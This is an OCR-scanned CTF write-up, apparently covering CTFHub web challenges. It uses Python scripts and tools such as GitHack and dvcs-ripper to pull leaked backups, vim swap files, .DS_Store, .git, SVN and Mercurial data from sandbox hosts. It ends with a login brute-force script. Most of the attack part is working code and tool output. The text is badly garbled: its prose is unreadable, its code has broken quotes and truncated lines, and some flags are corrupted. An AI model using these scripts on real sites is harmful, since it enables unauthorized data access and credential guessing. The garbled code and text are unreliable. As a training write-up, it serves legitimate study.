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#!/usr/bin/python3

# -*- coding: utf-8 -*-

# --author: valecalida--

import urllib.request

num_list = [i+1 for i in range(4)]

for i in num_list:
try:

res = urllib.request.urlopen("http://challenge-c127326ad3ea6854.sandbox.ctfhub.com:10080/flag _in_h
except BaseException as e:

pass
else:

print(res.read().decode('utf-8"))

BATREINERE

ctfhub{1987f2dcecfe6cc28241015c225ce28c33aeflf7}

2. PHPINFO

BT H Rn Ui P > B Biflag, B A EEWE A

#!/usr/bin/python3

# -*- coding: utf-8 -*-

# --author: valecalida--

import urllib.request

import urllib.request

import re

rr = re.compile(r'\bctfhub{.*}', re.I)

res = urllib.request.urlopen("http://challenge-44154573da4f5713.sandbox.ctfhub.com:10080/phpinfo.php")
res_content = res.read().decode('utf-8")

print(rr.findall(res_content))

BITRIAINSRE
["ctfhub{ba9c6833ed8b3648bdf86f7ea27c684237ce265e}', 'ctfhub{ba9c6833ed8b3648bdf86f7ea27c684237ce265e}"]
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#!/usr/bin/python3

# -*- coding: utf-8 -*-

# --author: valecalida--

import urllib.request, urllib.parse
import zipfile, os

import re

rr = re.compile(r'\bctfhub{.*}', re.I)

def unzip_file(zip_src, dst_dir):
r = zipfile.is_zipfile(zip_src)
if r:
fz = zipfile.ZipFile(zip_src, 'r')
for file in fz.namelist():
fz.extract(file, dst_dir)
else:

print('FERBENSEPHAT —RITE")

name_listl [‘rar', 'tar.gz', 'tar', 'zip']

name_list2 ['web', 'website', 'backup', 'back', ‘www', 'wwwroot', 'temp']
name_list = []

for namel in name_list1:

for name2 in name_list2:

name_list.append(name2 + + namel)
for names in name_list:
try:
res = urllib.request.urlopen('http://challenge-784af2elb6c52d01.sandbox.ctfhub.com:10080/%s"' %name
except BaseException as e:
pass
else:
print("HMB T %s" %names, "IEEFET#H...")
f = open(names, 'wb')
f.write(res.read())
f.close()
print (" TF#5EMR")
zip_src = os.getcwd() + "\\" + names
dst_dir = os.getcwd()
unzip_file(zip_src,dst_dir)
print ("fRESER")
for name_dir in os.listdir():
try:
resp = urllib.request.urlopen('http://challenge-784af2elb6c52d01.sandbox.ctfhub.com:10080/
except BaseException as e:
pass
else:
res_content = resp.read().decode('utf-8")
if len(res_content) >= 60:
continue
else:
print("3REEIMIflagh: %s" %res_content)
break

BATREINERE
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#!/usr/bin/python3

# -*- coding: utf-8 -*-

# --author: valecalida--

import urllib.request as ur

import re

rr = re.compile(r'\bctfhub{.*}', re.I)

res = ur.urlopen('http://challenge-9b444eeda7f6a455.sandbox.ctfhub.com:10080/index.php.bak")
res_content = res.read().decode('utf-8"')

print(str(rr.findall(res_content))[2:-2])

TREIMERE

=
ctfhub{2235cea3ec81eb9569f4604251fe8a7120b95049}

3.3. VImZEHF

HIFRNREL EARE PR vim S, EFERIETSET vimRERESF, JvimpEREN, ZFa—
HEERSS L, SIEMSHEMEE.

WHE vim B&GCHE:
.filename. swp
filename~
.filename.un.~
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author: valecalida--
import urllib.request as ur, urllib.parse
import zipfile, os

import re

rr = re.compile(r'\bctfhub{.*}"', re.I)

res = ur.urlopen('http://challenge-5aa8blelbe6c5d78.sandbox.ctfhub.com:10080/.index.php.swp")
print(str(rr.findall(str(res.read())))[2:-2])

BITRENSGRE



ctfhub{67e244df614a707bf252d60711afef3767e41492}

3.4. .DS_Store

.DS_Store & Mac OS #7331 H & BRI RS 4. 8id.DS_Store ] PLANIE XA B % B fr A Xk
IE B

ixX BUEE T Rk B R R S

http://challenge-3092fd23al1d60f94.sandbox.ctfhub.com:10080/.DS_Store

5 T Linuxday & IRBOCHF AR

xxd -p DS_Store | sed 's/@0//g' | tr -d '\n' | sed 's/\([0-9A-F]\{2\}\)/ox\1 /g' | xxd -r -p | strings | s

BRMSRWT

Bud1l

DSDB
$e536ae211065e6cb535b1a8080a2baa3l. txtnoteustr
flag here!

BEWREMA

#!/usr/bin/python3

# -*- coding: utf-8 -*-

# --author: valecalida--

import urllib.request as ur

res = ur.urlopen('http://challenge-3092fd23a1d60f94.sandbox.ctfhub.com:10080/e536ae211065e6cb535b1a8080a2b
print(res.read().decode('utf-8"'))

BATREINE R

ctfhub{boofeb505c3f4e6df73d8612c76bd5deb5aa4475}
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-» GitHack-master python GitHack.py http://challenge-426blb2da4dddd315.sandbox.ctfhub.com:10080/.git/
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A '.git' folder disclosure exploit.

[*] Check Depends

[+] Check depends end

[*] Set Paths

[*] Target Url: http://challenge-426blb2da4dddd315.sandbox.ctfhub.com:10080/.git/

[*] Initialize Target

[*] Try to Clone straightly

[*] Clone

Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-426blb
fatal: repository 'http://challenge-426blb2da4dddd315.sandbox.ctfhub.com:10080/.git/"' not found
[-] Clone Error

[*] Try to Clone with Directory Listing

[*] http://challenge-426blb2da4dddd315.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing

Try to clone with Cache

Initialize Git

Cache files

packed-refs

config

HEAD

COMMIT_EDITMSG

ORIG_HEAD

FETCH_HEAD

*
*
*
*
*] refs/heads/master

*] refs/remote/master

*] index

*] logs/HEAD

*] logs/refs/heads/master

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*] Fetch Commit Objects
[*] objects/b5/aa9e47f5f2a2b02e23da913c5137976e36a716
[*] objects/01/2aelfc6b838a345b689aebbbdecOedfd517a64
[*] objects/90/f6b210fccb96c831fb0149bd777d02f2fdc5b9
[*] objects/9d/acecab6adbbe96b31ab966d60cabebbebd2ebb
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7adas
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/ba/69d13b39c28abea7f0f7865d83d8cb6aa83b10
[*] objects/ac/48499ac2bda260e59471019e8506a71980F5a2
[*] Fetch Commit Objects End

[*] logs/refs/remote/master

[*]
[*]
[*1
[+]

*
*
*
*
*
*
*
*
*

*] logs/refs/stash

refs/stash
Valid Repository

*

*

Valid Repository Success

[+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist

SR Ja 1\ B Wi B S SR B git log



-» GitHack-master cd dist/challenge-426blb2da4ddd315.sandbox.ctfhub.com_10080
-» challenge-426blb2da4ddd315.sandbox.ctfhub.com_10080 git:(master) X git log

BATREINAER T

commit b5aa9e47f5f2a2b02e23da913c5137976e36a716 (HEAD -> master)
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Mar 15 12:54:22 2020 +0000

remove flag

commit 90f6b210fccb96c831fb0149bd777d02f2fdc5b9
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Mar 15 12:54:22 2020 +0000

add flag

commit ba69d13b39c28abea7f0f7865d83d8cb6aa83b10
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Mar 15 12:54:22 2020 +0000

init
(END)

MBI AN remove flag, flag £ add flag, RATEVIHIRA

-» challenge-426blb2da4ddd315.sandbox.ctfhub.com_10080 git:(master) X git reset --hard 90f6
HEAD is now at 90f6b21 add flag

-» challenge-426blb2da4ddd315.sandbox.ctfhub.com_10080 git:(master) X 11

total @

-rwxrwxrwx 1 kali kali 49 Mar 15 21:05 298682056511664.txt

-rwxrwxrwx 1 kali kali 494 Mar 15 21:05 50x.html

-rwxrwxrwx 1 kali kali 143 Mar 15 21:05 index.html

-» challenge-426blb2da4ddd315.sandbox.ctfhub.com_10080 git:(master) X cat 298682056511664.txt
ctfhub{f@aa23ed987f7188905579799a5f7dal2f6cc491}

4.2, Stash

-» GitHack-master python GitHack.py http://challenge-bcc954ebd1926525. sandbox.ctfhub.com:10080/.git/

/AN G N O Y A B B
) T I U O /2 V2N B VA
[ T G O GH BR
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A '.git' folder disclosure exploit.

[*] Check Depends

[+] Check depends end

[*] Set Paths

[*] Target Url: http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/
[*] Initialize Target

Fed =i, Lo AT cce a2 ..



L™] Iry TO cione straignulily
[*] Clone
Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-bcc954
fatal: repository 'http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/"' not found
[-] Clone Error
*] Try to Clone with Directory Listing
1 http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
1 [Skip][First Try] Target is not support Directory Listing
] Try to clone with Cache
] Initialize Git
] Cache files
1 packed-refs
] config
1 HEAD
] COMMIT_EDITMSG
] ORIG_HEAD
] FETCH_HEAD
] refs/heads/master
] refs/remote/master
1 index
] logs/HEAD
] logs/refs/heads/master
] Fetch Commit Objects
] objects/67/6ee2ab@5e4e9190d1eb94e035adeOb23e6db3d
*] objects/01/2aelfc6b838a345b689ae6bbdecedfd517a64
] objects/a3/b071375bbc6d7315c553d28efc9ddd16c79cbe
] objects/8a/3f858443df92e83814ad7d6340c786cldbafat
] objects/90/71e0a24f654c88aa97a2273ca595e301b7adas
] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
] objects/0d/3c5e077dbbc36f7fc5fe0812c5d07173595749
] objects/e3/58b09f4cb4e5800dd20elaa6758bf80811001a
] Fetch Commit Objects End
] logs/refs/remote/master
] logs/refs/stash
] refs/stash
] Fetch Commit Objects
] objects/06/36184b6082890f325e44990c6805a70f1dde6b
] objects/2d/78a2c68cc4d62aaclde7f4321a7d0385e026a6
] objects/e0@/8222e5d2f251eb14754ed3b40d9alef2f639ed
] objects/6c/dfal92a6458d5c5611fe5eb44338b77d712bf2
] Fetch Commit Objects End
] valid Repository
] Vvalid Repository Success

[+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist

R

=» GitHack-master cd dist/challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080

=> challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) X git stash list

stash@{@}: WIP on master: a3be713 add flag

#ATUFEBRTEANS, HEEEE

=» challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) X git stash pop

CONFLICT (modify/delete): 2677036325324.txt deleted in Updated upstream and modified in Stashed changes. V
The stash entry is kept in case you need it again.

=» challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) X cat 2677036325324.txt
ctfhub{69ad3cdc7bae528787ead797f0ce24c24a2613fc}
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=» GitHack-master python GitHack.py http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git

PARSRE G B I I B B
T O ) P2 VA B VA
G B
NI NNl Z\_\{e.e.5}
A '.git' folder disclosure exploit.

[*] Check Depends

[+] Check depends end

[*] Set Paths

[*] Target Url: http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/

[*] Initialize Target

[*] Try to Clone straightly

[*] Clone

Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-858daa
fatal: repository 'http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/"' not found
[-] Clone Error

[*] Try to Clone with Directory Listing

[*] http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing

Try to clone with Cache

Initialize Git

Cache files

packed-refs

config

HEAD

COMMIT_EDITMSG

ORIG_HEAD

FETCH_HEAD

refs/heads/master

*
*
*
*
*
*] refs/remote/master
*] index

logs/HEAD

logs/refs/heads/master

Fetch Commit Objects
objects/28/24el1bbf84973508284fdb7e401b068d36ee5e9
objects/f4/a95al1573c72eP@ac3be354b13e7f7707d730384
objects/be/0651e0661d7424d5469d34872219d07504699
objects/01/2aelfc6b838a345b689ae6bbdecPedfd517a64
objects/26/3f2708ef410cPe91c4bd6985ecaedd2a4a®4c?
objects/90/71e0a24f654c88aa97a2273ca595e301b7adas
objects/2c/59e3024e3bc350976778204928a21d9ff42d01
Fetch Commit Objects End

logs/refs/remote/master

*
*
*
*
*
*
*
*
*
*
*
*

*] logs/refs/stash

refs/stash
Valid Repository

*

*

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[+]

Valid Repository Success

[+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist

BE— THBEflag



=» GitHack-master cd /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challeng
-» challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080 git:(master) X 11
total o

-rwxrwxrwx 1 kali kali 49 Mar 15 20:50 213531131228420.txt

-rwxrwxrwx 1 kali kali 494 Mar 15 20:50 50x.html

-rwxrwxrwx 1 kali kali 143 Mar 15 20:50 index.html

-» challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080 git:(master) X cat 213531131228420.txt

ctfhub{8e1d7681ala66c8b74d5a1b20b3a6bod920589e2}
5. SVN
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=» dvcs-ripper-master sudo perl rip-svn.pl -u http://challenge-c523a500b4012829.sandbox.ctfhub.com:10080/
[i] Found new SVN client storage format!

REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33

[i] Trying to revert the tree, if you get error, upgrade your SVN client!

Reverted 'index.html'

=» dvcs-ripper-master 11 -a

total 86K
drwxrwxrwx kali kali 4.0K Mar 15 21:24 .

kali kali 4.0K Mar 15 21:21 ..

kali kali 149 Oct 22 2018 .gitignore
kali kali 3.8K Oct 22 2018 hg-decode.pl
kali kali 221 Mar 15 21:24 index.html

- PWXPWXPWX kali kali 18K Oct 22 2018 LICENSE

1
drwxrwxrwx 1
1
1
1
1
-rwxrwxrwx 1 kali kali 5.5K Oct 22 2018 README.md
1
1
1
1
1
1

=PWXrwXrwx
= PWXrwXrwx

= PWXrwXrwx

-rwxrwxrwx 1 kali kali 6.3K Oct 22 2018 rip-bzr.pl
kali kali 4.7K Oct 22 2018 rip-cvs.pl
kali kali 15K Oct 22 2018 rip-git.pl
kali kali 6.0K Oct 22 2018 rip-hg.pl
kali kali 6.1K Oct 22 2018 rip-svn.pl
drwxrwxrwx 1 kali kali 4.0K Mar 15 21:24 .svn
H#RIMAERT . svniZANHF, ATLAGREEF

=» dvcs-ripper-master tree .svn

= PWXPrWXrwx
= PWXPrWXrwx
=PWXPrWXrwx
= PWXPrWXrwx

svn

— entries

— format

— pristine

| = bf

| | L— bfa5c36a4dfb73378247a6311eac4f80f48Fcb92.svn-base
| L— ca

| L— c4b3e18fe@9fc3a63ec12c483c84012537bb5F2c. svn-base
F—— text-base

F— tmp

F—— wc.db

L— wc.db-journal

=» pristine cat c4/c4b3el8fe@9fc3a63ec12c483c84012537bb5f2c.svn-base bf/bf45c36a4dfb73378247a6311eac4f80f
ctfhub{1be4627619f2fd32babf97c15c0c93blce342934}

<html>

<head>
<meta charset="UTF-8" />
<title>CTFHub {EEMEE SVN</title>
</head>

<body>
<h1>5Eit# - Subversion</hil>
<br/>
<p>Flag 7ERMRSSHE IHARA BRI H</p>
</body>

</html>%

23 T flag

ctfhub{1be4627619f2fd32babf97c15c0c93blce342934}

6. HGiit&E



LI RN R ER Mercurial #EATRRAIZH], b R B3IEE . WREEAS D, WRESHK.hg XA REZRHE DL
B, XTI T hg i E R

dvcs-ripper-master sudo perl rip-hg.pl -u http://challenge-cf7c8f19e3e86d74.sandbox.ctfhub.com:10080/.hg
[i] Getting correct 404 responses
[i] Finished (2 of 12)
=» dvcs-ripper-master cd .hg
=> .hg tree

— eechangelog. i

|— dirstate

— last-message.txt

— requires

— store

| | eechangelog.i

| | eemanifest.i

| | data

| | | sex.html.i

| | — index.html.i

| | fncache

| ' undo

— undo.branch

— undo.desc

— undo.dirstate

L— wcache
F— checklink -> checklink-target
L— checklink-target

3 directories, 15 files

=»> .hg cat store/*
e 0r900000006 (
0091.1 0| 000MOX9-OA
kXQ o tve : OO O OcOOOOOIPO":" (OO _oI¢, e OBReDFO-kDOH; 90O, 00]10000TOOOOOUH{' € ®hMOTReYH
¢1e@9>_@/XOLDDa OO OAOPSO V| QOO=ONXrel @D9)50:Q0OX!¢(9'00}00|009000.:0012}0<19.00¢
0000

69eTa® (V0OL3 Q[ VIO 0O

cat: store/data: Is a directory

data/index.html.i

data/50x.html.1i

data/flag_1027926131.txt.i

data/flag_1027926131.txt.ie@

@@manifest.il53

@0changelog.il75

5 A4

=*> .hg curl http://challenge-cf7c8f19e3e86d74.sandbox.ctfhub.com:10080/flag_1027926131.txt
ctfhub{7858c2fbl4bc35af6870bfecaa93fce@ade7269b}
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#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author: valecalida--
import requests
import re
import sys
f = open('Tople@.txt', 'r")
content = []
for line in f.readlines():
content.append(line.strip())
pattern = '.*(ctfhub\{.*\})"'
for username in content:
for password in content:
data = {
'name’': username,
'password': password,
'referer': "'
}
res = requests.post(url="http://challenge-2f3b16498078855d.sandbox.ctfhub.com:10080", data=data)
flag = re.findall(pattern, res.text)
if len(str(flag)) >= 32:
print("FKIBIflaghikSR: %s FRE: %s flagh: %s" %(username, password, flag[@]))
sys.exit()
else:
print("IEEZRNKFZR: %s HFEL: %s" % (username, password))

XEG 04 BEREEFRILA O T HUSHIED

tiger. admin888. 123456, password. admin. admini23
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